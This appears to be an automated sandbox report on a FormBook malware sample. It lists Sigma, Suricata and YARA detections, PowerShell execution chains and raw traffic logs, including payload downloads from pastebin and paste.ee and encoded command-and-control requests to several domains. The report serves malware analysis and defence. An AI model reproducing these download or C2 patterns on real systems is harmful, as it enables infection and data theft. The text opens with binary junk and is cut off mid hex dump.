c?I??s?C??Jw?n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7916, TargetFilename: C:\Users\user\AppData\Local\Temp\dll03.ps1

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 628, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5200, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE FormBook CnC Checkin (GET) M5

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-15T17:04:39.783436+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.8	49724	81.176.66.171	80	TCP
2025-04-15T17:05:03.592953+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.8	49910	199.59.243.228	80	TCP
2025-04-15T17:05:17.705442+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.8	49966	84.32.84.32	80	TCP
2025-04-15T17:05:33.006054+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.8	49970	66.29.132.106	80	TCP
2025-04-15T17:05:55.183755+0200	2050745	1	Malware Command and Control Activity Detected	192.168.2.8	49974	209.74.64.189	80	TCP

ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-15T17:04:06.342945+0200	2057635	1	A Network Trojan was detected	23.186.113.60	443	192.168.2.8	49698	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-15T17:04:05.898903+0200	2803305	3	Unknown Traffic	192.168.2.8	49698	23.186.113.60	443	TCP

ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-15T17:04:06.342945+0200	2858295	1	A Network Trojan was detected	23.186.113.60	443	192.168.2.8	49698	TCP

ETPRO MALWARE Terse Request to paste .ee - Possible Download

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-15T17:04:01.611181+0200	2841075	1	Malware Command and Control Activity Detected	192.168.2.8	49694	23.186.113.60	443	TCP
2025-04-15T17:04:04.836508+0200	2841075	1	Malware Command and Control Activity Detected	192.168.2.8	49696	23.186.113.60	443	TCP
2025-04-15T17:04:05.898903+0200	2841075	1	Malware Command and Control Activity Detected	192.168.2.8	49698	23.186.113.60	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Yara detected FormBook

Source: Yara match	File source: 10.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2229860985.0000000004BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2229410762.0000000004B40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2226580404.0000000002EC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1277774749.0000000002860000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2229866615.0000000002E70000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1258834116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1262010486.0000000001930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2232234775.00000000056B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Neural Call Log Analysis: 99.5%

Source: unknown	HTTPS traffic detected: 104.22.69.199:443 -> 192.168.2.8:49693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.186.113.60:443 -> 192.168.2.8:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.22.69.199:443 -> 192.168.2.8:49695 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.186.113.60:443 -> 192.168.2.8:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.40:443 -> 192.168.2.8:49708 version: TLS 1.2

Source:	Binary string: iexpress.pdbGCTL source: MSBuild.exe, 0000000A.00000002.1260131610.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 0000000B.00000002.2228533425.00000000009EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb source: iexpress.exe, 0000000C.00000002.2231547950.00000000053BC000.00000004.10000000.00040000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2227220889.000000000310A000.00000004.00000020.00020000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 00000014.00000002.2230655033.000000000327C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.1565665797.000000001EA8C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: MSBuild.exe, 0000000A.00000002.1263394109.0000000001A10000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, 0000000C.00000003.1261140619.0000000004BE7000.00000004.00000020.00020000.00000000.sdmp, iexpress.exe, 0000000C.00000003.1259127486.0000000004A15000.00000004.00000020.00020000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2230306634.0000000004D90000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2230306634.0000000004F2E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: MSBuild.exe, MSBuild.exe, 0000000A.00000002.1263394109.0000000001A10000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, iexpress.exe, 0000000C.00000003.1261140619.0000000004BE7000.00000004.00000020.00020000.00000000.sdmp, iexpress.exe, 0000000C.00000003.1259127486.0000000004A15000.00000004.00000020.00020000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2230306634.0000000004D90000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2230306634.0000000004F2E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: DmMVOWsP1JSI77P.exe, 0000000B.00000000.1183432718.00000000003FF000.00000002.00000001.01000000.00000006.sdmp, DmMVOWsP1JSI77P.exe, 00000014.00000002.2226912501.00000000003FF000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: iexpress.pdb source: MSBuild.exe, 0000000A.00000002.1260131610.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 0000000B.00000002.2228533425.00000000009EE000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\iexpress.exe

Code function: 12_2_02EDC9A0 FindFirstFileW,FindNextFileW,FindClose,

12_2_02EDC9A0

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 00007FF936859373h	8_2_00007FF936859305
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 00007FF93685BEE6h	8_2_00007FF93685BE8A
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 4x nop then xor eax, eax	12_2_02EC9DC0
Source: C:\Windows\SysWOW64\iexpress.exe	Code function: 4x nop then mov ebx, 00000004h	12_2_04CE04C0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49724 -> 81.176.66.171:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49910 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49974 -> 209.74.64.189:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49970 -> 66.29.132.106:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49966 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2057635 - Severity 1 - ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound : 23.186.113.60:443 -> 192.168.2.8:49698
Source: Network traffic	Suricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 23.186.113.60:443 -> 192.168.2.8:49698

Connects to a pastebin service (likely for C&C)

Source: unknown	DNS query: name: pastebin.com
Source: unknown	DNS query: name: paste.ee

Performs DNS queries to domains with low reputation

Source:

DNS query: www.rtprubikslot-asli.xyz

Potential dropper URLs found in powershell memory

Source: powershell.exe, 00000007.00000002.1116297999.00000235004A9000.00000004.00000800.00020000.00000000.sdmp	String found in memory: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none'
Source: powershell.exe, 00000007.00000002.1116297999.000002350166F000.00000004.00000800.00020000.00000000.sdmp	String found in memory: Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none'

Yara detected Generic Downloader

Source: Yara match

File source: 8.2.powershell.exe.15d903ef8d0.0.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /raw/naAgdcTG HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /r/eqs49sJc/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/XHtEkzdv HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /r/Iheui3WE/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /r/49ZDOxRT/0 HTTP/1.1Host: paste.ee

Source: Joe Sandbox View	IP Address: 23.186.113.60 23.186.113.60
Source: Joe Sandbox View	IP Address: 23.186.113.60 23.186.113.60
Source: Joe Sandbox View	IP Address: 104.22.69.199 104.22.69.199

Source: Joe Sandbox View	ASN Name: RTCOMM-ASRU RTCOMM-ASRU
Source: Joe Sandbox View	ASN Name: NTT-LT-ASLT NTT-LT-ASLT

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.8:49694 -> 23.186.113.60:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49698 -> 23.186.113.60:443
Source: Network traffic	Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.8:49698 -> 23.186.113.60:443
Source: Network traffic	Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.8:49696 -> 23.186.113.60:443

Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.201.147
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /raw/naAgdcTG HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /r/eqs49sJc/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/XHtEkzdv HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /r/Iheui3WE/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /r/49ZDOxRT/0 HTTP/1.1Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /x6zj/?8ro=uF08wju0cXQ&3h5hA=pkzXSxPTT2YrTAYwTOcaicIRCimt47DVGFikR34exbY7UM7MJB5O+t5uY0YUTOYuZZ9XJQ2pXVe5ZrMcvuCkGXKDcloX44WZGHSYd2H3avFbIg3fwy0erPntJaR8L4pL1Q== HTTP/1.1Accept: /Accept-Language: en-US,enHost: www.samlib.ruConnection: closeUser-Agent: 45.0.2454.0 (Windows NT 5.2) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/45.0.2454.8.742.8 Safari/534.1
Source: global traffic	HTTP traffic detected: GET /q311/?3h5hA=bke8j7cp8lJWsQ5WQiLuQmqBNA5ipjzHiB2sc2JWPfAhnYGd6znGVJIedsMDLkzs00I3QP9tMj756FQFYX4LVqe+kmGhFneDbc3KkqJedizo/c0Ucx4amu0gnd58xjoeBQ==&8ro=uF08wju0cXQ HTTP/1.1Accept: /Accept-Language: en-US,enHost: www.nkq.infoConnection: closeUser-Agent: 45.0.2454.0 (Windows NT 5.2) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/45.0.2454.8.742.8 Safari/534.1
Source: global traffic	HTTP traffic detected: GET /x1ko/?8ro=uF08wju0cXQ&3h5hA=Mv2acbwiL4oNRjyGZZU1Zt7AVrfdhL7V4DwpB2S3Sz4/doIBMaaJL0B7TjNkp0qEn328fg/za7Woow3J3g5dySaE0ZjcX3AVAQmlCSx21G2meWoM1WEI2gYXBpvR5j2HSg== HTTP/1.1Accept: /Accept-Language: en-US,enHost: www.reviewsonline.shopConnection: closeUser-Agent: 45.0.2454.0 (Windows NT 5.2) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/45.0.2454.8.742.8 Safari/534.1
Source: global traffic	HTTP traffic detected: GET /9oy0/?3h5hA=lky7435UELIKzB0myTA999dbf/jP++z67a9y8PRwl0eZ3Bm8hWcizV8nyFsUfJXeK9OG8/nicaY+NZ1XFddP2vRCJaEF5MEOHIiontz5u/RfGO1S6v6yaBBBtiXShFUgdA==&8ro=uF08wju0cXQ HTTP/1.1Accept: /Accept-Language: en-US,enHost: www.rtprubikslot-asli.xyzConnection: closeUser-Agent: 45.0.2454.0 (Windows NT 5.2) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/45.0.2454.8.742.8 Safari/534.1
Source: global traffic	HTTP traffic detected: GET /r2h5/?3h5hA=8+IhhEvWUMhCGERLVzJwCdYPDDQ6Zj4bBkXGIcD1MTK6M4IbbHQVZI/CI3cKh6Yxaer0okw0YJR9Wy8gNiCXAEqY05WGIYHsJpMWKPMQ77csvWGmMwiL96d2TVFUIX/Ppw==&8ro=uF08wju0cXQ HTTP/1.1Accept: /Accept-Language: en-US,enHost: www.snappypeak.topConnection: closeUser-Agent: 45.0.2454.0 (Windows NT 5.2) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/45.0.2454.8.742.8 Safari/534.1

Source: global traffic	DNS traffic detected: DNS query: pastebin.com
Source: global traffic	DNS traffic detected: DNS query: paste.ee
Source: global traffic	DNS traffic detected: DNS query: c.pki.goog
Source: global traffic	DNS traffic detected: DNS query: otelrules.svc.static.microsoft
Source: global traffic	DNS traffic detected: DNS query: www.samlib.ru
Source: global traffic	DNS traffic detected: DNS query: www.nkq.info
Source: global traffic	DNS traffic detected: DNS query: www.reviewsonline.shop
Source: global traffic	DNS traffic detected: DNS query: www.rtprubikslot-asli.xyz
Source: global traffic	DNS traffic detected: DNS query: www.joebiden.baby
Source: global traffic	DNS traffic detected: DNS query: www.snappypeak.top
Source: global traffic	DNS traffic detected: DNS query: www.storii.shop

Source: unknown

HTTP traffic detected: POST /q311/ HTTP/1.1Accept: */*Accept-Encoding: gzip, deflate, brAccept-Language: en-US,enHost: www.nkq.infoOrigin: http://www.nkq.infoReferer: http://www.nkq.info/q311/Cache-Control: max-age=0Content-Length: 206Content-Type: application/x-www-form-urlencodedConnection: closeUser-Agent: 45.0.2454.0 (Windows NT 5.2) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/45.0.2454.8.742.8 Safari/534.1Data Raw: 33 68 35 68 41 3d 57 6d 32 63 67 4d 41 59 37 48 39 6b 6c 6e 31 43 62 67 33 2f 58 42 47 78 4f 45 70 4c 6d 52 53 34 6c 6d 44 75 54 77 4e 67 4f 37 35 46 68 76 72 6c 72 51 66 6d 54 70 6b 37 44 76 74 79 4e 31 48 52 31 6c 56 44 65 74 64 54 58 68 33 68 67 33 5a 35 64 6d 4e 76 5a 6f 65 39 6c 6d 6a 2f 45 55 57 42 63 35 62 43 39 59 34 75 4b 67 65 76 30 35 4a 56 5a 69 67 47 6c 4d 4d 66 6b 6f 74 6c 35 45 77 53 61 65 30 55 7a 48 5a 5a 75 6f 69 46 54 54 62 55 43 41 5a 76 70 45 34 38 52 64 5a 56 78 32 34 48 61 7a 37 43 4f 30 35 77 48 49 4e 49 74 31 66 4b 74 56 37 73 71 63 76 52 4e 4e 4f 33 4c 45 50 34 71 63 52 39 65 30 45 3d Data Ascii: 3h5hA=Wm2cgMAY7H9kln1Cbg3/XBGxOEpLmRS4lmDuTwNgO75FhvrlrQfmTpk7DvtyN1HR1lVDetdTXh3hg3Z5dmNvZoe9lmj/EUWBc5bC9Y4uKgev05JVZigGlMMfkotl5EwSae0UzHZZuoiFTTbUCAZvpE48RdZVx24Haz7CO05wHINIt1fKtV7sqcvRNNO3LEP4qcR9e0E=

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100cache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Tue, 15 Apr 2025 15:05:23 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100cache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Tue, 15 Apr 2025 15:05:26 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 